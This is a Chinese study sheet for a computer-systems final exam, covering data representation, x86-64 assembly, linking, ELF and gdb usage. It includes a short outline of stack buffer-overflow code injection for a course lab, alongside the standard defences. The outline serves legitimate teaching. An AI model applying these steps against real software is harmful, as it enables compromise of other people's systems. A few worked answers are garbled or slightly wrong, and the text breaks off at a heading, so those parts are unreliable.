《计算机系统基础 I》

期末考试 · 开卷速查资料

南京邮电大学 · 2025/26 学年第 2 学期

软件工程专业

使用说明
第 1-2 页:速查表(hex/十进制/2的幂/寄存器/寻址/标志位/条件码)
第 3 页:详细目录,按主题快速跳转
第 4 页起:章节详解(数据表示、机器级指令、链接、gdb)
后半部分:实验重点(重点看实验 3 攻击、实验 4 链接)
最后:真题(试卷 A)完整解析
重点提示:gdb 命令必查、AttackLab 与 LinkLab 是重点

速查表 · Quick Reference

① 十六进制 ↔ 二进制 ↔ 十进制 对照

Hex	Bin	Dec	Hex	Bin	Dec
0	0000	0	8	1000	8
1	0001	1	9	1001	9
2	0010	2	A	1010	10
3	0011	3	B	1011	11
4	0100	4	C	1100	12
5	0101	5	D	1101	13
6	0110	6	E	1110	14
7	0111	7	F	1111	15

② 2 的幂速查(题目常用)

n	2^n	n	2^n	n	2^n
1	2	9	512	17	131,072 (128K)
2	4	10	1024 (1K)	18	262,144 (256K)
3	8	11	2048 (2K)	20	1,048,576 (1M)
4	16	12	4096 (4K)	24	16,777,216 (16M)
5	32	13	8192 (8K)	30	1,073,741,824 (1G)
6	64	14	16384 (16K)	31	2,147,483,648
7	128	15	32768 (32K)	32	4,294,967,296 (4G)
8	256	16	65536 (64K)	63	9.22 × 10^18

★ 常见:int 范围 = [-2^31, 2^31-1] = [-2147483648, 2147483647];unsigned int 最大 = 2^32-1 = 4294967295

③ x86-64 (Linux) 下 C 类型的字节数

C 类型	字节	位数	取值范围(补码/无符号)
char / signed char	1	8	[-128, 127]
unsigned char	1	8	[0, 255]
short	2	16	[-32768, 32767]
unsigned short	2	16	[0, 65535]
int	4	32	[-2^31, 2^31-1]
unsigned int	4	32	[0, 2^32-1]
long / long long / 指针	8	64	[-2^63, 2^63-1] / 0..2^64-1
float (IEEE 单精度)	4	32	(见浮点章)
double (IEEE 双精度)	8	64	(见浮点章)

④ ASCII 常用字符(题目常问)

字符	Hex	Dec	字符	Hex	Dec	字符	Hex	Dec
'0'	30	48	'A'	41	65	'a'	61	97
'1'	31	49	'B'	42	66	'b'	62	98
'2'	32	50	'C'	43	67	'c'	63	99
'9'	39	57	'Z'	5A	90	'z'	7A	122

字符	Hex	Dec	字符	Hex	Dec	字符	Hex	Dec
(空格)	20	32	'\n'	0A	10	'\0'	00	0

⑤ IEEE 754 浮点格式速查

格式	总位	符号 s	阶码 exp	尾数 frac	Bias
单精度 float	32	1	8 位	23 位	127 (=2^7-1)
双精度 double	64	1	11 位	52 位	1023 (=2^10-1)

规格化: $V = (-1)^s \times (1.frac) \times 2^{exp - Bias}$,exp 不全 0 不全 1

非规格化: exp = 000...0,$V = (-1)^s \times (0.frac) \times 2^{1 - Bias}$

特殊值: exp = 111...1 且 frac=0 → ±∞;exp=111...1 且 frac≠0 → NaN

> 整数除 0 会异常(#DE),浮点除 0 得 ±∞ 不异常(可用于比较)

⑥ x86-64 寄存器命名规则(64/32/16/8 位)

64 位	32 位	16 位	8 位(低)	用途 / 调用约定角色
%rax	%eax	%ax	%al	返回值 / 除法结果高位
%rbx	%ebx	%bx	%bl	被调者保存 (callee-saved)
%rcx	%ecx	%cx	%cl	第 4 个整型参数
%rdx	%edx	%dx	%dl	第 3 个整型参数 / 返回值低位
%rsi	%esi	%si	%sil	第 2 个整型参数
%rdi	%edi	%di	%dil	第 1 个整型参数
%rbp	%ebp	%bp	%bpl	帧指针(被调者保存)
%rsp	%esp	%sp	%spl	栈指针(不可任意用)
%r8 ~ %r15	%r8d ~ %r15d	%r8w ~ %r15w	%r8b ~ %r15b	%r8-%r9 第 5、6 个参数
%rip	%eip	—	—	程序计数器(下一条指令地址)

★ 整型/指针参数按顺序:rdi, rsi, rdx, rcx, r8, r9(6 个),超出用栈;返回值放 rax

★ 浮点参数用 xmm0 ~ xmm7(最多 8 个),浮点返回值放 xmm0

⑦ x86-64 寻址方式速查

寻址类型	格式	含义/示例	实际操作数
立即数	$Imm	$0x100	Imm 本身
寄存器	%r	%rax	R[%rax] 里的值
绝对寻址	Imm	0x400123	M[0x400123]
间接寻址	(%r)	(%rax)	M[R[%rax]]
基址 + 偏移	Imm(%r)	8(%rax)	M[8 + R[%rax]]
变址寻址	(%rb, %ri)	(%rax, %rcx)	M[R[%rax] + R[%rcx]]
比例变址	(%rb, %ri, s)	(%rax, %rcx, 4)	M[R[%rax] + 4·R[%rcx]]
最一般式	Imm(%rb, %ri, s)	7(%rax,%rbx,4)	M[Imm + R[%rb] + s·R[%ri]]

★ s 只能是 1、2、4 或 8;leaq 使用同样的地址表达式但不访存,只算地址

⑧ 标志寄存器(EFLAGS)四个关键位

标志	名称	置 1 条件(执行 t = a - b 或 t = a + b 后)
CF	Carry Flag(进位)	无符号数运算中,产生进位(加)或借位(减)时置 1
ZF	Zero Flag(零)	运算结果 t == 0 时置 1
SF	Sign Flag(符号)	结果最高位为 1 (即结果视为负数) 时置 1
OF	Overflow Flag(溢出)	有符号数溢出时置 1(两正得负 / 两负得正)

cmp b, a 等价于计算 a - b 但只更新标志位,不写回;test b, a 计算 a AND b 只更新 ZF/SF

⑨ 条件跳转 Jcc / 条件设置 setcc

指令	跳转条件(用标志位)	用途 / 相当于 C
je / jz	ZF = 1	equal / zero (a == b)

指令	跳转条件(用标志位)	用途 / 相当于 C
jne / jnz	ZF = 0	not equal (a != b)
js	SF = 1	negative(结果为负)
jns	SF = 0	nonnegative
jg / jnle	~(SF^OF) & ~ZF	有符号:大于 (a > b)
jge / jnl	~(SF^OF)	有符号:大于等于 (a >= b)
jl / jnge	SF ^ OF	有符号:小于 (a < b)
jle / jng	(SF^OF) | ZF	有符号:小于等于 (a <= b)
ja / jnbe	~CF & ~ZF	无符号:大于
jae / jnb / jnc	~CF	无符号:大于等于
jb / jnae / jc	CF = 1	无符号:小于
jbe / jna	CF | ZF	无符号:小于等于

★ 口诀:g/l 系(greater/less) 是有符号,a/b 系(above/below) 是无符号。setcc 把条件写到 8 位寄存器,setcc 与 jcc 完全同名

⑩ gdb 常用命令速查(重点!)

命令	缩写	作用
file prog		加载 prog 可执行文件
run [args]	r	开始运行(可加参数或 < 输入文件)
run < clevel1.txt		把文件当作 stdin 传入(AttackLab 用法)
break func	b	在函数 func 入口打断点
break *0x401200	b	在地址 0x401200 打断点
break file.c:15	b	在源文件第 15 行打断点
info break	i b	看所有断点
delete 2	d 2	删除 2 号断点
continue	c	继续执行到下一个断点
step	s	单步进入函数
next	n	单步,不进入函数
stepi	si	单步一条指令(汇编级)
nexti	ni	单步一条指令,不进入 call
finish		继续到当前函数返回
info registers rip rsp	i r	看寄存器内容(考试原题就用这个)
print /x $rax	p /x	按十六进制打印 rax
print /d $eax	p /d	按十进制打印 eax
x/nfu addr		看内存(见下方详解)
disas / disas func		反汇编当前函数 / 指定函数
bt		看栈回溯(调用链)
set environment X=Y		设置环境变量(AttackLab 用 LD_PRELOAD)

x 命令详解(考察最多)

语法: x/nfu addr

n = 数量(要看几个单元)

f = 格式:x 十六进制 / d 有符号十进制 / u 无符号 / o 八进制 / s 字符串 / c 字符 / i 指令

u = 单位大小:b=1 字节 / h=2 字节(双字节) / w=4 字节 / g=8 字节(双字)

命令	含义	典型输出
`x/8xb 0x404080`	从 0x404080 起看 8 个字节,十六进制	`0x03 0x00 0x00 0x00 0xf9 0xff 0xff 0xff`
`x/1xw 0x404080`	看 1 个 4 字节(1 word)十六进制	`0x00000003`
`x/1xg $rsp`	看栈顶 8 字节(quad word)	`0x00007fffffffde00`
`x/4dw 0x404080`	看 4 个 4 字节,按有符号十进制	`3 -7 6 14`
`x/s 0x402008`	看字符串	`"Hello\n"`
`x/5i 0x401176`	反汇编 5 条指令	`endbr64 / sub $0x18,%rsp / ...`

小端法下,x/1xw 会把 4 个字节按整数值显示,所以字节序看似"反了"。x/xb 才是按字节顺序逐个显示。

⑪ objdump / readelf / gcc 常用选项

命令	作用
gcc -o hello hello.c	一步编译+链接(默认 a.out)

命令	作用
gcc -E hello.c	仅预处理
gcc -S hello.c	生成汇编 hello.s
gcc -c hello.c	生成可重定位目标 hello.o
gcc -o p main.o swap.o	把多个 .o 链接为可执行 p
gcc -static -o p main.o libx.a	静态链接
objdump -d sum	反汇编 .text (最常用)
objdump -t sum	打印符号表
objdump -s -j .rodata sum	看 .rodata 节的原始字节
readelf -h sum	看 ELF 头
readelf -S sum	看节头表(所有节)
readelf -s main.o	看符号表
readelf -r main.o	看重定位表(考试重点)
readelf -x .data sum	按十六进制 dump .data 节
ar rcs libc.a a.o b.o	把 .o 打包成静态库 libc.a

目录 · Contents

第一章 计算机系统概述(要点)

1.1 层次结构

从上到下:应用软件 → 系统软件(编译器/OS) → ISA 指令集架构 → 微体系结构 → 数字逻辑 → 器件。

ISA(指令集体系结构)是硬件与软件的接口,如 x86-64、ARM、MIPS 是 ISA。Linux/Windows/Ubuntu 是操作系统,不是 ISA(常考选择)。

五种抽象:①ISA ②虚拟内存 ③文件(对 I/O 抽象) ④进程 ⑤虚拟机

1.2 hello.c 到可执行 hello 的四步

预处理 → 编译 → 汇编 → 链接

阶段	输入	工具	输出	含义
预处理	hello.c	cpp	hello.i	展开宏 / 头文件 / 注释
编译	hello.i	cc1	hello.s	生成汇编代码(文本)
汇编	hello.s	as	hello.o	汇编 → 可重定位目标(二进制)
链接	*.o + lib	ld	hello	合并节 / 符号解析 / 重定位

```
linux> gcc -o hello hello.c       # 一步搞定
linux> gcc -E hello.c             # 只预处理
linux> gcc -S hello.c             # 生成 .s
linux> gcc -c hello.c             # 生成 .o
linux> gcc -o p main.o swap.o     # 只链接
```

1.3 CPU 性能公式

CPU 时间 = 指令数 IC × CPI × 时钟周期 = IC × CPI / 主频

时钟周期:主时钟脉冲宽度(秒)

主频 = 1 / 时钟周期,单位 Hz(3GHz = 3×10^9 Hz)

CPI(Cycles Per Instruction):每条指令平均时钟周期数

★ 典型题:主频 3GHz、CPI=1.5、执行 10s → 时钟周期数 = 3×10^9 × 10 = 3×10^10,指令数 IC = 3×10^10 / 1.5 = 2×10^10

第二章 数据的机器级表示

2.1 多字节数据存放(大端/小端)

多字节数据存储时,一个对象占若干连续字节。对象的地址 = 所占字节中最小的地址。

小端(Little Endian):低位字节存在低地址(x86-64/Linux 用此)

大端(Big Endian):高位字节存在低地址

例:int x = 0x12345678,&x = 0x500,小端法在内存中怎么存?

地址	小端法 内容	大端法 内容
0x500	0x78 ← 最低位	0x12 ← 最高位
0x501	0x56	0x34
0x502	0x34	0x56
0x503	0x12 ← 最高位	0x78 ← 最低位

常见考题:int x=0x80901020 在 0x8000fff0,问 0x8000fff2 存什么(小端)?字节 2 是第 3 个字节,从低地址算 → 0x20 20 90 0x90。

2.2 无符号数 vs 补码

无符号 n 位:范围 [0, 2^n - 1],直接把位串当二进制正整数解释。

补码 n 位:范围 [-2^{n}^-1, 2^{n}^-1 - 1],最高位视为符号(负权 -2^{n}^-1)。

类型	位数	最小值	最大值
unsigned char	8	0	255
unsigned short	16	0	65535
unsigned int	32	0	4294967295 (=2^32 - 1)
char (signed)	8	-128	127
short	16	-32768	32767
int	32	-2147483648	2147483647
long	64	-9.22×10^18	9.22×10^18

求负数的补码 —— 两条规律

① 反码 + 1 法:先写出对应正数的原码,各位取反,末位加 1

② 2^n - |x| 法:-x 的补码 = 2^n + x(在 mod 2^n 下)

例:8 位,-23 的补码?

```
  +23 = 0001 0111
各位取反 = 1110 1000
   + 1 = 1110 1001    → -23 补码 = 0xE9
```

2.3 补码特点(常考选择判错)

特点	是否正确	说明
0 的表示唯一		与原码/反码不同,原/反码 +0 与 -0 有两种
加减法符号位一起参与运算		不需单独处理符号
+a 与 -a 的编码仅符号位不一样		例 +1=0001 与 -1=1111,数值位也不同
真值范围不对称,负数比正数多一个		如 8 位 [-128, 127],多一个 -128

2.4 位扩展 / 位截断

无符号扩展:高位补 0(zero extension)。x86 指令 movzXY

有符号扩展:高位补 符号位(sign extension)。x86 指令 movsXY / movslq / cltq

截断:直接丢高位。若值在新类型范围内结果不变,否则值改变但位模式截断

★ 大坑题:unsigned short usi = 32768; short si = usi;
usi 位模式 = 1000 0000 0000 0000。赋给 short 时按补码解释 → si = -32768(值变了,位不变)

2.5 有符号 ↔ 无符号 转换

同字长下 signed ↔ unsigned:位模式不变,解释方式变。

例:int x = -1;unsigned u = 2147483648;

```
printf("x = %u = %d\n", x, x);
// x = 4294967295 = -1
printf("u = %u = %d\n", u, u);
// u = 2147483648 = -2147483648
```

原因:-1 补码位串是 1111...1111(32 个 1),按无符号读 = 4294967295;2^31 = 10000...0,按补码读 = -2^31。

C 语言表达式中,当有符号与无符号一起运算时,有符号被自动转成无符号!例如 -1 < 0U 结果为 false。

2.6 IEEE 754 浮点数(重点!)

公式:$V = (-1)^s \times M \times 2^E$

单精度 float:1 位 s + 8 位 exp + 23 位 frac,Bias = 127

双精度 double:1 位 s + 11 位 exp + 52 位 frac,Bias = 1023

类型	exp	frac	E	M	公式
规格化	≠全 0 且 ≠全 1	任意	E = exp - Bias	M = 1.frac	V = (-1) × 1.frac × 2^(exp-Bias)
非规格化	全 0	任意	E = 1 - Bias	M = 0.frac	V = (-1) × 0.frac × 2^(1-Bias)
±0	全 0	全 0	—	—	±0(不区分)
±∞	全 1	全 0	—	—	±∞
NaN	全 1	≠全 0	—	—	Not-a-Number

单精度浮点数 编码 —— 步骤(考试原题就考这个)

例:把 -1028.0 转成 IEEE 754 单精度十六进制(真题 Q5)

① 符号位 s:-1028 是负数 → s = 1

② 取绝对值转二进制:
1028 = 1024 + 4 = 2^10 + 2^2 = 100 0000 0100 (共 11 位)

③ 规格化:1000 0000 0100 = 1.0000000100 × 2^10
→ E = 10,尾数 M = 1.0000000100

④ 阶码 exp = E + Bias = 10 + 127 = 137 = 1000 1001

⑤ 尾数 frac(取 M 中 “1.” 后面的部分,补足 23 位):
frac = 0000 0001 00 || 0000 0000 0000 0(补 13 个 0)
= 00000001 00000000 0000000

⑥ 拼接 s | exp | frac = 1 | 10001001 | 00000001 00000000 0000000

⑦ 每 4 位一组:
1100 0100 1000 0000 1000 0000 0000 0000
C 4 8 0 8 0 0 0

→ 结果 = 0xC4808000H 选 A

★ 踩坑点:frac 是紧跟 “1.” 的位,不是二进制数从头写。1028 = 2^10 + 2^2,所以规格化后 “1.” 之后的第 8 位(从左数)是 1,其他 0。

2.7 舍入方式(4 种)

舍入方式	说明	1.5 → ?	2.5 → ?	-1.5 → ?
向偶数舍入 (round to even)	默认;末位靠近偶数,避免统计偏差	2	2	-2
向零舍入 (truncate)	截断小数部分	1	2	-1
向下舍入 (floor)	向 -∞ 方向	1	2	-2
向上舍入 (ceil)	向 +∞ 方向	2	3	-1

★ 考题 Q4:哪种更能避免统计偏差?→ 向偶数舍入(A)

第三章 程序的机器级表示

3.1 数据传送 mov / movz / movs / lea

指令	效果	示例	备注
movb / movw / movl / movq	D ← S	movq %rax, %rbx	1 / 2 / 4 / 8 字节;不能内存→内存
movabsq $Imm, R	R ← 立即数(64 位)	movabsq $0x1234567890, %rax	64 位立即数专用
movzXY(zero extend)	小 → 大,高位补 0	movzbl (%rax), %ebx	X=源大小,Y=目的大小
movsXY(sign extend)	小 → 大,高位补符号	movsbl (%rax), %ebx	若目的是 rax,用 cltq / movslq

指令	效果	示例	备注
leaq S, R	R ← S 的地址值(不访存)	leaq 7(%rax,%rbx,4),%rcx	算术!常用来做 x+y+7 等运算

规则:32 位指令(movl/addl 等)执行后,目的寄存器的高 32 位自动清 0。所以 movl %eax, %ebx 会让 rbx 高 32 位为 0。

常用的 lea 计算技巧(考题必看)

leaq 只算地址表达式结果,不访问内存。

```
leaq 7(%rax,%rbx,4), %rcx    #  rcx = 7 + rax + 4*rbx
leaq (%rdi,%rdi,2), %rax     #  rax = rdi + 2*rdi = 3*rdi
leaq 0(,%rdi,8), %rax        #  rax = 8*rdi
```

★ 真题 Q3(分析题):rax=0x100, rbx=0xf0,leaq 7(%rax,%rbx,4),%rcx → rcx = 7 + 0x100 + 4×0xf0 = 7 + 256 + 960 = 1223 = 0x4C7

3.2 算术 / 逻辑指令

指令	含义	影响标志
add S, D	D = D + S	影响 CF/OF/ZF/SF
sub S, D	D = D - S	影响 CF/OF/ZF/SF
imul S, D	D = D * S (有符号)	影响标志(单操作数版本无 D)
idiv S / div S	有符号/无符号除	rax=商,rdx=余(dst 隐含)
inc / dec D	D±1	影响 OF/ZF/SF (不改 CF)
neg D	D = -D	影响所有
and / or / xor S, D	按位	CF=OF=0,更新 ZF/SF
not D	按位取反	不影响
sal / shl (逻辑左移)	D <<= S	影响 CF/OF/ZF/SF
sar (算术右移)	D >>= S,补符号	同上
shr (逻辑右移)	D >>= S,补 0	同上

移位次数只用 %cl(1 字节),或立即数。计数 >=32 时对 32 位操作数会先 mod 32。

3.3 比较、条件设置

cmp S1, S2:计算 S2 - S1(注意顺序!)只更新标志,不写回。

test S1, S2:计算 S2 & S1,只更新 ZF/SF。test %rax,%rax 等价于判 rax 是否为 0。

AT&T 语法陷阱:cmp %rbx, %rax 表示的是 rax - rbx(源操作数在前,目的在后)。
所以 cmpq %rax, %rdx;jbe target 判的是 rdx <= rax(无符号)。

3.4 循环 / 条件结构典型模式

do-while 结构(最典型):

```
loop:
   ...循环体...
   cmp %esi, %edx    # 比较
   jl loop           # 满足条件继续
```

while 结构:入口先测试,常见有 jmp 到测试处,测试处 jcc 回循环体。

for 结构:初始化 → 跳到测试 → 循环体 → 更新 → 测试 → 结束。

3.5 过程调用 —— 传值、栈帧、返回

整型/指针参数(按顺序):rdi, rsi, rdx, rcx, r8, r9,超出 6 个用栈。

浮点参数(按顺序):xmm0, xmm1, ..., xmm7,超出 8 个用栈。

返回值:整型放 rax;浮点放 xmm0。

混合参数:整型和浮点各自独立编号。例如 double f(int x, double y, long z):x→edi,y→xmm0,z→rsi(不是 rdx!因为 x 已占 edi,z 是第 2 个整型)。

★ 真题 Q7 (选择题):long a=1; float b=12.34; test(a,&a,b,&b)
a=long → rdi;&a=指针 → rsi;b=float → xmm0;&b=指针 → rdx
→ 答案 C. rdi, rsi, xmm0, rdx

call / ret 的隐含动作

call label 等价于:

```
push  下一条指令的地址(返回地址)   → 即 rsp -= 8; M[rsp] = 返回地址
jmp   label
```

ret 等价于:

```
pop   rip     → 即 rip = M[rsp]; rsp += 8
```

pushq S:rsp -= 8;M[rsp] = S

popq D:D = M[rsp];rsp += 8

真题 Q(popq %rbp):相当于 rbp = M[rsp];rsp += 8 → 答案 B(注意先读后加,不是先加再读)。

3.6 栈帧的结构

典型栈帧(高地址在上):

```
+--------------------+  ← 较高地址
| 调用者传给我的参数7,8...|
+--------------------+
| 返回地址(call push 的)|  ← callee 进入时 rsp 指向这里
+--------------------+
| 保存的 rbp / 其他寄存器 |
+--------------------+
| 本函数局部变量        |
| ...                |
+--------------------+  ← 当前 rsp
                       栈向低地址生长
```

为何有些函数根本没有栈帧?若所有局部变量都能放在寄存器,且不调用其他函数,就无需分配栈。

3.7 数组、结构体访问

T A[N]:元素 i 的地址 = &A[0] + i × sizeof(T)

汇编常见套路:lea 数组起始地址 → 用 (base, index, scale) 读元素。

```
# int a[10]; 读 a[i],i 在 rax
lea 0x2eb6(%rip), %rdi     # rdi = &a[0]  (相对寻址,rip 相对)
mov (%rdi, %rax, 4), %eax  # eax = a[i]  (每个 int 4 字节)
```

结构体:字段偏移按声明顺序累加,注意对齐(int 对齐到 4,long/指针 对齐到 8)。

3.8 缓冲区溢出(实验 3 的核心)

关键思想:gets() 等不检查长度的函数会把输入写超出 buf,继续向更高地址覆盖:保存的寄存器 → 返回地址 → 调用者栈帧。

攻击步骤(代码注入):

① 反汇编看 getbuf 分配的字节数(如 sub $0x18,%rsp → buf 长 24 字节)

② 构造 payload:填满 buf(24 字节) + 保存寄存器(如果 push 了) + 用目标函数首地址覆盖返回地址

③ 因为小端法,写入时字节序为低位在前

防御方法:栈随机化(ASLR)、栈金丝雀值(canary)、可执行位(NX/W^X)、代码检查、更安全的库(fgets/strncpy)。

第四章 程序的链接

4.1 三类目标文件

类型	扩展名	特点	地址情况
可重定位目标文件	.o	可与其他 .o 合并成可执行	每个 .o 中代码/数据地址从 0 开始
可执行目标文件	a.out	可直接被加载执行	代码/数据地址为虚拟地址
共享目标文件	.so	装入或运行时被链接(动态库)	Windows 下叫 DLL

4.2 ELF 格式 —— 常考的节

节名	内容	对应哪种文件
ELF 头 (ELF Header)	ELF 魔数、版本、字节序、节头表位置...	所有目标文件都有(常考!)
.text	编译后的机器代码	所有
.rodata	只读数据:printf 格式串、switch 跳转表、字符串常量	所有(常考)
.data	已初始化的全局变量	所有
.bss	未初始化的全局变量,只是占位符不占实际磁盘空间	所有
.symtab	符号表	所有
.rel.text / .rela.text	代码节的重定位记录	仅 .o(可执行没有)
.rel.data / .rela.data	数据节的重定位记录	仅 .o
.debug	调试信息	所有
.line	源代码行号 ↔ 机器码地址	所有
.strtab	字符串表(符号名等)	所有
.init	_init 函数	仅可执行
程序头表(段头表)	告诉加载器如何映射节到段	仅可执行
节头表	各节的描述	所有

真题 Q6 常考:
A. 可执行文件有程序头表,而可重定位没有
B. 可重定位可能有重定位节,而可执行没有
C. 可执行的 .text 和可重定位的 .text 内容完全相同 — 错!可执行的 .text 经过重定位,地址已被填好
D. 两者都有 ELF Header → 错的是 C

4.3 符号的三种类型

类型	定义	示例(来自真题 sum.c/main.c)
全局符号 (Global)	本模块定义且能被别处引用 = 非 static 的全局变量、非 static 函数	main.c 中的 array(static 则是局部!!)、sum(非 static 函数)
外部符号 (External)	其他模块定义但被本模块引用	main.c 中引用的 printf、scanf、sum;sum.c 中引用的 result
局部符号 (Local)	仅由本模块定义并引用 = static 修饰的函数或全局变量	main.c 中 static int array[10];sum.c 中 static 变量

注意:链接器眼中的局部符号 ≠ C 语言中的局部变量。C 语言函数内部的普通局部变量分配在栈上,不出现在符号表里!static 局部变量则会出现在 .symtab 中,类型为局部。

符号解析中的规则(强/弱符号)

强符号:函数 + 已初始化的全局变量;弱符号:未初始化的全局变量。

① 不允许多个强同名符号 → 链接错误

② 一强一弱 → 选强

③ 都是弱 → 任选一个

4.4 静态库与链接顺序

静态库:多个 .o 打包成一个 .a 文件

```
linux> ar rcs libc.a atoi.o printf.o random.o

linux> gcc -static -o p main.o libc.a       # 链接静态库
```

链接器扫描顺序(重点!):从左到右,遇到 .o 加入,遇到 .a 只解决当前未决的引用。一旦扫过,就不会再回头。

链接顺序题的解法(真题 Q8)

题:p.o → libx.a → liby.a → libx.a → p.o(a→b 意为 a 依赖 b),写出最短命令行。

画依赖图,按引用先后依次把库加到命令行:

遇到 p.o:引入 p.o 中未决符号

p.o 引用 libx.a → 把 libx.a 加上

libx.a 引用 liby.a → 把 liby.a 加上

liby.a 又引用 libx.a → 再把 libx.a 加一次

libx.a 又引用 p.o 中的符号?是 → 再把 p.o 加一次

```
最短:linux> gcc p.o libx.a liby.a libx.a p.o     ← 选 C(共 5 项)
```

★ 技巧口诀:出现循环依赖时,你需要重复最初那个库(或 .o)。选项里包含 “p.o libx.a liby.a libx.a p.o” 的就是答案。

4.5 链接的两步:符号解析 + 重定位

Step 1 符号解析:每个符号引用关联到唯一定义。

Step 2 重定位:

① 合并同类节(所有 .o 的 .text 合并成大 .text,依次)

② 计算每个定义符号的虚拟地址

③ 遍历重定位表,把符号引用处的占位符改为实际地址

重定位表 —— call 指令实例(真题 Q6 综合应用题)

readelf -r main.o 显示:

```
Offset          Info                Type              Sym. Value          Sym. Name + Addend
0000000000035   000900000004        R_X86_64_PLT32     0000000000000000    fun - 4
```

解读:

Offset = 需要修补的地址在 .text 节内的偏移(0x35)

Type = R_X86_64_PLT32:call 指令,PC 相对 32 位偏移

Sym.Name + Addend:待填入的是 fun 的地址 + Addend(-4),减 4 是因为下一条指令(即 PC)距离 call 后 4 字节

PC 相对 call 指令的机器码(考试原题!)

call 指令:操作码 0xE8 + 4 字节补码偏移量。共 5 字节。

偏移量 = 目标地址 - 下一条指令地址

下一条指令地址 = 当前 call 指令的地址 + 5

```
例:4011aa: e8 __ __ __ __     call  4011e7 <sum>

偏移 = 目标 - 下一条 = 0x4011e7 - (0x4011aa + 5) = 0x4011e7 - 0x4011af
     = 0x38 = 0x00000038(4 字节)

小端存放:低字节在前 → e8  38 00 00 00

即:4011aa: e8 38 00 00 00     call  4011e7
```

★ 套路:凡 call 指令,先算 目标 - (call 地址 + 5),得到有符号 32 位偏移,再小端写入。

4.6 可执行 vs 可重定位 —— 差异总结

特征	.o 可重定位	a.out 可执行
地址	从 0 开始	虚拟地址(真实的)
ELF 头 e_entry	0	首条指令地址

特征	.o 可重定位	a.out 可执行
程序头表	无	有(段头表,指导加载)
重定位节	有 .rel.text 等	无
.init 节	无	有
.text 内容	包含未填的占位符	所有引用已填好

gdb 调试专章(考试重点!)

g.1 启动 / 加载 / 环境

```
$ gdb ./sum                  # 加载可执行程序
(gdb) file sum               # 在 gdb 内加载/更换
(gdb) set args 10 20         # 设置运行参数
(gdb) set environment X=Y    # 设置环境变量(AttackLab 常用)
(gdb) set environment LD_PRELOAD=./printf.so
(gdb) run                    # 开始运行
(gdb) r < clevel1.txt        # stdin 从文件读入
```

g.2 断点管理

```
(gdb) break main             # 在 main 入口设断点
(gdb) b sum                  # b 是 break 缩写
(gdb) b *0x4011aa            # 在指令地址处打断点
(gdb) b sum.c:15             # 在源码某行打断点
(gdb) info break             # 显示所有断点 (i b)
(gdb) delete 2               # 删 2 号断点 (d 2)
(gdb) disable 3 / enable 3   # 禁/启 断点
(gdb) condition 2 i==5       # 让 2 号断点在 i==5 时才触发
```

g.3 执行控制

命令	缩写	作用	适合场景
continue	c	从当前位置继续,直到断点/结束	跑到下一个断点
step	s	C 源码级单步,进入函数	进入子函数看细节
next	n	C 源码级单步,不进入函数	单步跳过 call
stepi	si	汇编级单步,进入	逐条汇编看
nexti	ni	汇编级单步,不进入 call	跳过 call 只看主函数流
finish		继续到当前函数返回后	从某函数中退出
until 40119a	u	运行到指定地址(在循环内跳出很有用)	跳出循环

g.4 查看寄存器 / 变量

```
(gdb) info registers         # 看所有通用寄存器
(gdb) i r rip rsp rax        # 只看部分
(gdb) i r rip                # rip=0x4011aa

(gdb) print /x $rax          # 十六进制打印 rax
(gdb) p /d $eax              # 十进制
(gdb) p /u $eax              # 无符号十进制
(gdb) p /t $al               # 二进制
(gdb) p (int)$rax            # 强制转成 int
(gdb) p array[3]             # 打印 C 变量
```

g.5 查看内存 x 命令(超重点!)

语法 x/nfu <addr>: n=数量,f=格式,u=单位。

组合	含义	结果示例
x/8xb 0x404080	8 个字节,十六进制,按字节顺序显示	0x03 0x00 0x00 0x00 0xf9 0xff 0xff 0xff
x/4hx 0x404080	4 个双字节 half-word	0x0003 0x0000 0xfff9 0xffff
x/2xw 0x404080	2 个 4 字节 word(整个 int)	0x00000003 0xfffffff9
x/1xg $rsp	1 个 8 字节 quad(栈顶 8 字节)	0x00007fffffffde00
x/4dw arr	4 个 4 字节,按有符号十进制	3 -7 6 14
x/4uw arr	同上按无符号	3 4294967289 6 14
x/s 0x402008	字符串	"Hello world\n"
x/10i $rip	反汇编 10 条指令	endbr64\n sub $0x18,%rsp\n ...

字节序陷阱:x/1xw 会把 4 字节按整数值输出(如 0x00000003)。x/4xb 才是按字节逐个显示原始字节(0x03 0x00 0x00 0x00)。考试若给 8 位字节形式,选 xb;若给 32 位整体值,选 xw。

典型:查看 0x404080 起 8 字节(真题综合 Q5)

题目:static int array[10] = {3, -7, 6, 14, -5, 9, 1, 3, 16, 22}; array 起始于 0x404080。求:

```
(gdb) x/8xb 0x404080     ← 结果?

分析:
 array[0] = 3     ,int (4 字节),小端存放 → 03 00 00 00
 array[1] = -7    ,int(-7 补码 = 0xFFFFFFF9),小端 → f9 ff ff ff

∴ 0x404080: 0x03 0x00 0x00 0x00 0xf9 0xff 0xff 0xff
```

g.6 反汇编 / 栈回溯

```
(gdb) disassemble main          # 反汇编 main 函数
(gdb) disas 0x401176, 0x4011ff   # 反汇编地址区间
(gdb) bt                       # 栈回溯,看调用链
(gdb) frame 2                    # 切换到第 2 帧
(gdb) info frame                 # 看当前栈帧
```

g.7 常见考察点(真题综合应用 Q7)

题:CPU 准备运行 4011aa 处 call 指令时,rip=0x4011aa, rsp=0x7fffffffde00。call 执行完后,rip 和 rsp 分别是多少?此时栈顶单元内容是什么?

解:call 4011e7 <sum> 的语义 = push 下一条地址 + jmp 目标。

下一条指令地址 = 4011aa + 5 = 0x4011af

执行 push:rsp = rsp - 8 = 0x7fffffffde00 - 8 = 0x7fffffffddf8

M[rsp] = 0x4011af (返回地址)

执行 jmp:rip = 0x4011e7(跳到 sum 首指令)

```
(gdb) x/xg $rsp
0x7fffffffddf8:  0x00000000004011af     ← 栈顶存的就是返回地址

结论:rip = 0x4011e7, rsp = 0x7fffffffddf8, 栈顶单元 = 0x00000000004011af
```

实验重点摘要

实验 1 DataLab —— 位运算

目标:仅用位操作实现给定的函数(bitAnd、bitXor、sign 等),不能用 if / for 等控制流,只能用 ! ~ & ^ | + << >>。

核心思路(考试可能考选择/简答):

技巧	代码	解释
x == y (仅当相等返 1)	!(x ^ y)	异或后取逻辑非
取 x 的第 n 位	(x >> n) & 1	右移后与 1

技巧	代码	解释
判断 x 是否为负	(x >> 31) & 1(算术右移)	SF 位
|x|(绝对值)	(x ^ mask) + (mask & 1) mask = x >> 31	正数 mask=0 返 x;负数 mask=-1 返 ~x+1
溢出判断:x + y 是否溢出	看 (x^s) & (y^s) 的最高位	x, y 同号但和 s 异号 → 溢出
位反转	x ^ 0xFFFFFFFF 或 ~x	按位取反

实验 2 BombLab —— 逆向拆炸弹

思路:反汇编 bomb,逐个 phase 分析指令流,倒推出输入字符串。

7 个阶段典型考察:

